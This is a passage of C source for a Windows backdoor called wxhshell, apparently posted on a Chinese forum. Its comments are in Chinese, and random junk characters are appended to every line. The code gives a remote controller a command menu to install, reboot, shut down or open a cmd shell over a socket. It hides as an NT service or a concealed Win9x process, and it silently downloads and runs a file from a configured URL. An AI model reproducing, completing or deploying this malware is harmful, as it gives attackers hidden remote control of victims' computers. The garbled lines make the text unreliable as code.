  else { /.pa ??u  
b|X>3(  
    switch(cmd[0]) { y}(_SU  
  X;K8,A7`  
  // 帮助 e1f^:C  
  case '?': { uKLOh<oio  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h#(.(d  
    break; :d!i[W*  
  } tEi@p;Z>  
  // 安装 sW>P-  
  case 'i': { eLHa9R{)B  
    if(Install()) D6C -x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pur"9jHa4  
    else Hl%+F 0^?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wh#_9);  
    break; y>)mSl@1y  
    } w3>Y7vxiz`  
  // 卸载 ,gFL Wb`B'  
  case 'r': { TzD:bKE&  
    if(Uninstall()) o=a:L^nt,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7?kXgR[#d  
    else #C;#$|d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZaEBdBv  
    break; 9m<X-B&P  
    } B`RW-14g  
  // 显示 wxhshell 所在路径 t[H_6)  
  case 'p': { |Fh`.iT%c  
    char svExeFile[MAX_PATH]; EvGUj$  
    strcpy(svExeFile,"\n\r"); 'W<a54T?z  
      strcat(svExeFile,ExeFile); 1CF7  
        send(wsh,svExeFile,strlen(svExeFile),0); 44/ 0}v]  
    break; @&am!+z  
    } kVB}r.NHP  
  // 重启 ^>P@5gcoE(  
  case 'b': { 3rXL0&3w%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ep v3/ `I  
    if(Boot(REBOOT)) <.y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"2wV +9  
    else { .R<s<]  
    closesocket(wsh); erAZG)  
    ExitThread(0); @=aq&gb  
    } >$k 4@eg!  
    break; 6`$,-(J=  
    } EF_h::A_  
  // 关机 {ra Esb-X  
  case 'd': { { V =:O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *;\ K5  
    if(Boot(SHUTDOWN)) d~Z:$&r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5sf fDEU]A  
    else { Eo25ir%  
    closesocket(wsh); nvUkbmZG#  
    ExitThread(0); =8VJ.{xy_e  
    } -Z\UYt  
    break; >.k@!*  
    } Qh1Kl_a?Lv  
  // 获取shell YA8yMh*4D?  
  case 's': { V)@nRJg  
    CmdShell(wsh); Wb}0-U{S'  
    closesocket(wsh); ' /@!"IXz  
    ExitThread(0); *YE IG#`  
    break; %]P@G^Bv  
  } h} b^o*  
  // 退出 .J7-4  
  case 'x': { W4] 0qp`\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0ghwFo  
    CloseIt(wsh); se*pkgWbz  
    break; 'Rar>oU  
    } LeRh (a`=$  
  // 离开 JOE{&^j  
  case 'q': { &caO*R<#J}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \:f}X?:  
    closesocket(wsh); bj* v'  
    WSACleanup(); hc4`'r;  
    exit(1); K\%"RgF@&  
    break; XTn{1[.O  
        } ogh2kht  
  } Tl0+Bq  
  } ]cO$E=W  
-7A!2mRiz  
  // 提示信息 A`r$fCt1Vi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E%v[7 ST  
} sO f)/19  
  } A$Jn3Xd~!  
c9_4 ohB  
  return; d+$[EDix  
} =4%WOI  
Wf&G9Be?8  
// shell模块句柄 fb S.  
int CmdShell(SOCKET sock) Q:xI} ]FM  
{ N[?4yV2s  
STARTUPINFO si; 4j=@}!TBt  
ZeroMemory(&si,sizeof(si)); #@OKp,LJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &hM,b!R|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -QHzf&D?  
PROCESS_INFORMATION ProcessInfo; B'#gs'fl  
char cmdline[]="cmd"; f@V{}&ZWp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,:Y=,[n  
  return 0; =S?-=jPtg  
} u BW  
Ml_:Q]kl^  
// 自身启动模式 \2VZkVO9  
int StartFromService(void) ?2bE=|  
{ ]a@v)aa-  
typedef struct ]MH \3g;  
{ 3 T#3<gqM[  
  DWORD ExitStatus; o@V/37!  
  DWORD PebBaseAddress; B2+_F"<;  
  DWORD AffinityMask; q~A|R   
  DWORD BasePriority; uS+b* :  
  ULONG UniqueProcessId; fqp7a1qQl  
  ULONG InheritedFromUniqueProcessId; (V |q\XS  
}   PROCESS_BASIC_INFORMATION; Yv`1ySR  
]H@uuPT!  
PROCNTQSIP NtQueryInformationProcess; 98%a)s)(a  
Q,LWZw~"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7*8nUq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j2&OYg  
:r|P?;t(  
  HANDLE             hProcess; p`V9+CA  
  PROCESS_BASIC_INFORMATION pbi; j?` D\LZhf  
ok=E/77`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nd9-3W  
  if(NULL == hInst ) return 0; (h(ZL9!  
%Zi,nHg8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |D_n4#X7u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OsuSx^}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B 0fo[Ev  
^ZZ@!Udy  
  if (!NtQueryInformationProcess) return 0; C3`.-/{D"  
mwiPvwHrg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !QzMeN;D  
  if(!hProcess) return 0; ~d1RD  
AT8,9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; peP:5WB  
5;%xqdD  
  CloseHandle(hProcess); 9<#R;eIsv  
PyJblW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `1}yB  
if(hProcess==NULL) return 0; m`w6wz  
\VzQ1B>k  
HMODULE hMod; +GEKg~/4e  
char procName[255]; :<|fZa4!"  
unsigned long cbNeeded; Wh&Z *J  
YH6 K-}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m3ZOq B-  
91'^--N  
  CloseHandle(hProcess); zCN;LpbEJY  
!{- 3:N7  
if(strstr(procName,"services")) return 1; // 以服务启动 x-P_}}K 79  
~1z8G>R  
  return 0; // 注册表启动 W;j)ux7jMY  
} ntUVhIE0  
!Kn+*'#  
// 主模块 PDiorW}]k  
int StartWxhshell(LPSTR lpCmdLine) Ts *'f  
{ (?=(eo<N  
  SOCKET wsl; ku8Z;ONeH  
BOOL val=TRUE;   rs KE  
  int port=0; uX!y,a/"  
  struct sockaddr_in door; HAOrwJFqU  
vTa23YDW  
  if(wscfg.ws_autoins) Install(); ]-]@=qYu  
I(eR3d:  
port=atoi(lpCmdLine); 5_T>HHR 6  
2/NWWoKw  
if(port<=0) port=wscfg.ws_port; A.*nDl`H  
trA `l/  
  WSADATA data; EG=>F1&M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;5S7_p2]j  
SVeU7Q6-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   = ft$j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;:YjgZ:+Q]  
  door.sin_family = AF_INET; T{kwy3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B#lj8I^|  
  door.sin_port = htons(port); DD3yl\#,  
)%W2XvG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8U$UI  
closesocket(wsl); ~w% +y  
return 1; F>nrV  
} 3m9 E2R,  
B}bNl 7 ~  
  if(listen(wsl,2) == INVALID_SOCKET) { }Qu 7o  
closesocket(wsl); VZl0)YLK  
return 1; / S^m!{  
} '4S@:.D`  
  Wxhshell(wsl); JVYYwA^ .  
  WSACleanup(); "K=)J'/n  
c_=zd6 b$S  
return 0; rW .0_*  
Ft>8 YYyU  
} iC\=U  
^@cX0_  
// 以NT服务方式启动 )O'<jwp$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ago t (  
{ z{_Vn(Kg   
DWORD   status = 0; tG&B D\  
  DWORD   specificError = 0xfffffff; UYLI>XSd  
vK/Z9wR*05  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KPrxw }P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CawVC*b3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X~b+LG/  
  serviceStatus.dwWin32ExitCode     = 0; b .@dUuKz-  
  serviceStatus.dwServiceSpecificExitCode = 0; H*<dte<  
  serviceStatus.dwCheckPoint       = 0; 5Uz(Bi  
  serviceStatus.dwWaitHint       = 0; 2)]*re)  
[^P2Kn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Unk+@$E&  
  if (hServiceStatusHandle==0) return; &?pAt30K:  
P_%l}%   
status = GetLastError(); ~Dh}E9E:  
  if (status!=NO_ERROR) <\NXCUqDpo  
{ =l{KYv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xrd ^vE  
    serviceStatus.dwCheckPoint       = 0; , X):2_m  
    serviceStatus.dwWaitHint       = 0; < duM8   
    serviceStatus.dwWin32ExitCode     = status; *Ux"3IXO  
    serviceStatus.dwServiceSpecificExitCode = specificError; A>S2BL#=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G9%4d;uFT  
    return; fQ) ;+  
  } wEqCuhZ  
6f1Y:qK'@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *GnO&&m'B  
  serviceStatus.dwCheckPoint       = 0; >@W#@W*I@  
  serviceStatus.dwWaitHint       = 0; KLB?GN?Pb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ax}Xsk_  
} ]P5u:~U  
e70*y'1fu  
// 处理NT服务事件,比如:启动、停止 %oQj^r!Xd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1EB`6_>y  
{ s^< oU  
switch(fdwControl) P]^] T}5  
{ J]e&z5c  
case SERVICE_CONTROL_STOP: HX^ P9jXT  
  serviceStatus.dwWin32ExitCode = 0; =2 5 "q Jr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Qp?LECrt  
  serviceStatus.dwCheckPoint   = 0; |'#NDFI>}  
  serviceStatus.dwWaitHint     = 0; -JkO[ IF  
  { 0}!lN{m?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<q``hn>  
  } T!r7RS  
  return; T9yW# .  
case SERVICE_CONTROL_PAUSE: %UhF=C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c7 -j  
  break; |&.)_+w  
case SERVICE_CONTROL_CONTINUE: 4T-AWk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l"Q8`  
  break; \U8Vsx1tl  
case SERVICE_CONTROL_INTERROGATE: D:0PppE  
  break; (6b%;2k  
}; GW#Wy=(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L x&ZWF$  
} XFYl[?`G  
irS62Xe  
// 标准应用程序主函数 [0emOS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 75ob1h"  
{ 4kEFbzwx  
otx7J\4  
// 获取操作系统版本 X88Zd M'  
OsIsNt=GetOsVer(); d)HK9T|B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FB`HwE<  
Ek6W:Q:@  
  // 从命令行安装 8 B5%IgA  
  if(strpbrk(lpCmdLine,"iI")) Install(); c+c^F/  
Uyh#g^r  
  // 下载执行文件 VdgPb (  
if(wscfg.ws_downexe) { d29HEu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P^ VNB  
  WinExec(wscfg.ws_filenam,SW_HIDE); b6ddXM\Z  
} 9#7z jrB  
h9mR+ng*oD  
if(!OsIsNt) { .N2Yxty8>  
// 如果时win9x,隐藏进程并且设置为注册表启动 7+bzCDKU  
HideProc(); kp|reKM/  
StartWxhshell(lpCmdLine); 5;*C0m2%i  
} k-/$8C  
else xUUp ?]9y  
  if(StartFromService()) C}Q2UK-:  
  // 以服务方式启动 2I  
  StartServiceCtrlDispatcher(DispatchTable); 195(Kr<5$  
else K.SHY!U}  
  // 普通方式启动 [%pZM.jFO  
  StartWxhshell(lpCmdLine); ObUQB+  
~cz t=  
return 0; DDEn63{  
}
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只看该作者 1 发表于: 2006-10-10
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